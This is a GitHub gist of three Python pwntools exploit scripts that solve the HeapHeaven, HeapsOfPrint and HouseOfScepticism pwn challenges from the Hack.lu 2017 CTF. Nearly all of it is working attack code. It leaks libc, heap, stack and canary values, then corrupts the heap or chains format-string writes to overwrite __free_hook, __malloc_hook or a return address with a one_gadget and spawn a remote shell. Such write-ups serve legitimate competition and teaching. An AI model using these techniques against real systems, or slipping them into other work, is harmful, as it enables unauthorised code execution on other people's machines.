Skip to content

Instantly share code, notes, and snippets.

@bruce30262
Last active October 20, 2017 05:44
Show Gist options
  • Save bruce30262/688268079694c39ce706d87d9dd3275c to your computer and use it in GitHub Desktop.
Save bruce30262/688268079694c39ce706d87d9dd3275c to your computer and use it in GitHub Desktop.
Solutions for HeapHeaven, HeapsOfPrint & HouseOfScepticism from Hack.lu 2017 CTF
#!/usr/bin/env python
# HeapHeaven
# solved by bruce30262
from pwn import *
import subprocess
import sys
import time
HOST = "flatearth.fluxfingers.net"
PORT = 1743
ELF_PATH = "./HeapHeaven"
LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"
context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.terminal = ['tmux', 'splitw'] # for gdb.attach
elf = context.binary # context.binary is an ELF object
libc = ELF(LIBC_PATH)
def num(n):
temp = n
ret = ""
while temp != 0:
if temp % 2 == 1:
ret = "wi" + ret
else:
ret = "wa" + ret
temp /= 2
ret = ret.ljust(128, "i")
return ret
def whaa(sz):
r.sendlineafter("NOM-NOM\n", "whaa!")
r.sendlineafter("darling...", num(sz))
def mommy(sz):
r.sendlineafter("NOM-NOM\n", "mommy?")
time.sleep(0.5)
r.sendline(num(sz))
def spill(sz, data):
r.sendlineafter("NOM-NOM\n", "<spill>")
r.sendlineafter("doing?\n", num(sz))
r.sendlineafter("darling!\n", data)
def nomnom(sz):
r.sendlineafter("NOM-NOM\n", "NOM-NOM")
time.sleep(0.5)
r.sendline(num(sz))
if __name__ == "__main__":
# flag: FLAG{0ne_5t3p_cl053r_t0_h34p_h34v3n}
r = remote(HOST, PORT)
#r = process(ELF_PATH)
# make libc addr on heap
whaa(0xf8)
whaa(0xf8)
whaa(0xf8)
nomnom(0x120)
# leak libc
mommy(0x120)
r.recvuntil("here, darling: ")
libc.address = u64(r.recv(6).ljust(8,"\x00")) - 0x3c4b78
malloc_hook = libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
one_gadget = libc.address + 0xf1117
log.success("libc: "+hex(libc.address))
log.success("malloc_hook:"+ hex(malloc_hook))
log.success("free_hook:"+ hex(free_hook))
log.success("one_gadget: "+hex(one_gadget))
# put some chunk in fastbin
whaa(0x68)
whaa(0x68)
nomnom(0x120)
nomnom(0x190)
# leak heap address
mommy(0x190)
r.recvuntil("here, darling: ")
hap = u64(r.recv(6).ljust(8,"\x00")) - 0x120 + 0x10
#hap = u64(r.recv(5).ljust(8,"\x00")) - 0x120 + 0x10 # local side
log.success("hap: "+hex(hap))
# overwrite free_hook to one_gadget
spill(free_hook - hap, p64(one_gadget))
nomnom(0x10)
r.interactive()
#!/usr/bin/env python
# HeapsOfPrint
# solved by bruce30262
from pwn import *
import subprocess
import sys
import time
HOST = "flatearth.fluxfingers.net"
PORT = 1747
ELF_PATH = "./HeapsOfPrint"
LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"
context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.terminal = ['tmux', 'splitw'] # for gdb.attach
elf = context.binary # context.binary is an ELF object
libc = ELF(LIBC_PATH)
if __name__ == "__main__":
while True:
try:
r = remote(HOST, PORT)
#r = process(ELF_PATH)
r.recvuntil("character is ");
last = u8(r.recv(1))
r.recvuntil("Is it?")
log.success("last: "+hex(last))
if last < 0x37 or last > 0xb7:
r.close()
continue
######## 1st ebp chain : return to do_this() & leak stack, libc, canary #########
fake_last = last - 15
payload = "%c" * 4 + "%"+str(fake_last-4)+"c" + "%hhn" # change pointer to func's &ret
payload += "%" + str(0xb3-fake_last) + "c" + "%10$hhn" # modify pointer , change func's ret
payload += "abcd%6$p.%17$p.%9$p." # leak stack & libc
print "payload1:", payload
r.sendline(payload)
r.recvuntil("bcd")
resp = r.recvuntil("My ").split(".")
# leak info
ret_stack = int(resp[0], 16) - 0x30
libc.address = int(resp[1], 16) - 0x20830
canary = int(resp[2], 16)
one_gadget = libc.address + 0xf1117
log.success("ret_stack: "+hex(ret_stack))
log.success("libc: "+hex(libc.address))
log.success("one_gadget: "+hex(one_gadget))
log.success("canary: "+hex(canary))
####### 2nd ebp chain : write 0 ( for one_gadget's usage) & return to do_this() ########
fuck = (ret_stack-0x78-0x18)&0xffff
fake_last = (ret_stack)&0xffff
# get byte to write zero
zero = 0 - fuck - 2
while zero <= 0:
zero += 256
# get byte to write fake_last
real_fake_last = fake_last - (zero+2+fuck+1)
while real_fake_last <= 0:
real_fake_last += 65536
# get byte to write fake_ret
fake_ret = 0xb3 - ( real_fake_last + 1 + fuck + 2 + zero )
while fake_ret <= 0:
fake_ret += 256
# we have to overwrite a data on stack to zero
# this data is rsp+0x70 ( used by one_gadget )
# so later execve("/bin/sh", rsp+0x70, environ) will success
payload = "%c" * 4 + "%"+str(fuck-4)+"c" + "%hn" # change pointer to &fuck
payload += "%c%c" + "%" +str(zero) + "c" + "%hhn" # write 0 to fuck
payload += "%c" + "%" +str(real_fake_last) + "c" + "%hn" # change pointer to func's &ret
payload += "%" + str(fake_ret) + "c" + "%10$hhn" # modify pointer , change func's ret
print "payload2:", payload
r.recvuntil("Is it?")
r.sendline(payload)
###### 3rd ebp chain : overwrite vfprintf's ret to one gadget #########
fake_last = (ret_stack - 0x108)&0xffff
fake_last_1 = (fake_last&0xff) + 1
low = one_gadget&0xff
high = ((one_gadget) >> 8) & 0xffff
log.success("vfprint_ret_stack_last4: "+hex(fake_last))
log.success("low: "+hex(low))
log.success("high: "+hex(high))
log.success("fake_last_1: "+hex(fake_last_1))
# calculate real low
# real_low = 256n+low-fake_last-2
real_low = low - fake_last-2
while real_low <= 0:
real_low += 256
real_fake_last_1 = fake_last_1 - ( real_low + fake_last + 2 + 1)
while real_fake_last_1 <= 0:
real_fake_last_1 += 256
real_high = high - ( real_fake_last_1 + real_low + fake_last + 2 + 1 )
while real_high <= 0:
real_high += 65536
payload = "%c" * 4 + "%"+str(fake_last-4)+"c" + "%hn" # change pointer to func's &ret
payload += "%c%c" + "%" +str(real_low) + "c" + "%hhn" # overwrite ret's low byte ( 1 byte )
payload += "%c" + "%" +str(real_fake_last_1) + "c" + "%hhn" # change pointer to func's (&ret)+1
payload += "%" + str(real_high) + "c" + "%10$hn"# overwrite ret+1 ( 2 byte )
print "payload3:", payload
r.sendline(payload)
r.interactive()
except EOFError:
r.close()
continue
#!/usr/bin/env python
# HouseOfScepticism
# solved by bruce30262
from pwn import *
import subprocess
import sys
import time
HOST = "flatearth.fluxfingers.net"
PORT = 1748
ELF_PATH = "./HouseOfScepticism"
LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"
context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.terminal = ['tmux', 'splitw'] # for gdb.attach
elf = context.binary # context.binary is an ELF object
libc = ELF(LIBC_PATH)
def add(sz, sub, secret):
r.sendlineafter("Exit\n>", "1")
r.sendlineafter(">", str(sz))
if len(sub) == 0:
r.sendlineafter(">", "n")
else:
r.sendlineafter(">", "y")
r.sendlineafter(">", sub)
r.sendlineafter(">", secret)
def edit(idx, start, sz, data):
r.sendlineafter("Exit\n>", "2")
r.sendlineafter(">", str(idx))
r.sendlineafter(">", str(start))
r.sendlineafter(">", str(sz))
r.sendafter(">", data)
def read(idx, fmt=""):
r.sendlineafter("Exit\n>", "3")
r.sendlineafter(">", str(idx))
r.sendlineafter(">", fmt)
def encode(s, key):
ret = ""
cnt = 0
for c in s:
temp = (key >> (8*cnt)) & 0xff
ret += chr(ord(c) ^ temp)
cnt += 1
if cnt == 8:
cnt = 0
return ret
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
magic = "#.64"
# make libc addr on heap
# secret 0 @ 020
add(100,"","A"*48)
read(0, magic)
# secret 1 @ 0f0
add(300,"","A"*200)
read(1, magic)
# secret 2 @ 240
add(200,"","A"*100)
read(2, magic)
# secret 3 @ 390
add(500,"","A"*400)
read(3, magic)
# overflow secret 1
# overwrite secret 1's size ( to a super large number )
payload = "i"*40
payload += "FUCK"*4 # subject
payload += p64(0xffffffffffffffff)
add(0, "",payload)
# edit secret 1 & overflow secret 2
# overflow secret 2 to leak key
payload = "i"*304 # pad to 2
payload += p64(0xffffffffffffffff)
payload += p8(0)*16 # 2's subject
payload += "\xff\xff" # 2's size
edit(1, 0, len(payload), payload)
# key will be @ secret 2's subject
read(2)
r.recvuntil("Subject: ")
key = u64(r.recv(8)) & 0xffffffffffffff
log.success("key: "+hex(key))
# overflow secret 2 to leak libc
payload = p64(224) # 2's size
payload += "2"*224
real_payload = payload
payload = encode(payload, key)
assert encode(payload, key) == real_payload
edit(1, 328, len(payload)+1, payload)
# leak libc
read(2)
r.recvuntil("Subject:")
r.recvline()
resp = r.recvline()[:-1:]
unsortbin = u64(resp[-6::].ljust(8, "\x00"))
libc.address = unsortbin - 0x3c4bc8
malloc_hook = libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
one_gadget = libc.address + 0x4526a
log.success("libc: "+hex(libc.address))
log.success("unsortbin: "+hex(unsortbin))
log.success("malloc_hook: "+hex(malloc_hook))
log.success("free_hook: "+hex(free_hook))
log.success("one_gadget: "+hex(one_gadget))
# restore unsortbin data
payload = p64(0x61) # 2's size
payload += p64(unsortbin)
real_payload = payload
payload = encode(payload, key)
assert encode(payload, key) == real_payload
edit(1, 0x218+8, len(payload)+1, payload)
# put chunk in unsortbin
read(0, magic)
# overflow unsortbin chunk size, change to 0x40
payload = p64(0x41) # 2's size
real_payload = payload
payload = encode(payload, key)
assert encode(payload, key) == real_payload
edit(1, 0x260, len(payload)+1, payload)
# make heap address on heap
read(3, magic)
read(1, magic)
# overflow secret 2 to leak heap
payload = p64(0x120) # 2's size
payload += "2"*0x120
real_payload = payload
payload = encode(payload, key)
assert encode(payload, key) == real_payload
edit(1, 328, len(payload)+1, payload)
# leak heap
read(2)
r.recvuntil("Subject:")
r.recvline()
resp = r.recvline()[:-1:]
heap_base = u64(resp[-6::].ljust(8, "\x00")) - 0x1320
start = heap_base + 0x1108
log.success("start: "+hex(start))
# overwrite malloc hook
payload = p64(one_gadget)
real_payload = payload
payload = encode(payload, key)
assert encode(payload, key) == real_payload
edit(1, malloc_hook - start , len(payload)+1, payload)
# call malloc, get shell
read(0, magic)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment